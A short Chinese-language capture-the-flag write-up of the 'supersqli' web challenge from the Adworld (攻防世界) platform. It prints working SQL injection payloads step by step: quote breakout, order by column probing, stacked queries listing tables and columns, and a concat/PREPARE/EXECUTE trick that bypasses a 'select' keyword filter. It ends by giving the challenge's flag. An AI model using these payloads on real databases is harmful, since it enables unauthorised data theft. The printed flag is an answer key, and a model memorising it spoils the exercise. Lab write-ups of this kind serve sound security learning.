攻防世界 web进阶区 supersqli
根据题目以及提示内容,猜测该题是SQL注入的。打开链接,确实有一个输入框。
直接进行输入库的常用闭合符号试试,没想到直接用“'”这个符号成功了,直接给出了报错信息。
然后就是将后面的内容注释看看是否可行,经过测试 --+无法正确闭合,但是#可以正常地输出内容,由此可知,注释符号为#
1'#
下一步测试order by爆出当前表有几个字段
1' order by 2 #
当后面的值为3时,给出了报错信息,由此可知,当前表有两个字段。
1' order by 3 #
然后使用联合查询看看,直接给出了提示信息,直接将我们的关键字给过滤了。只能尝试其他注入方式了
1' union select 1,2 #
经过多次尝试之后,确定是使用堆叠注入。
1'; show database #
查询当前所在数据库有哪些表
1'; show tables #
查询表的字段,在当前数据库1919810931114514这个表中发现flag字段。
1' ;show columns from `1919810931114514`#
查询该flag字段的内容得到flag
因为select被过滤了,我们可以使用concat()方法将select拆分开再拼接起来就可以了
1';set @sql=concat('sel','ect flag from `1919810931114514`');PREPARE st1 FROM @sql;EXECUTE st1#
最后得到flag为:flag{c168d583ed0d4d7196967b28cbd0b5e9}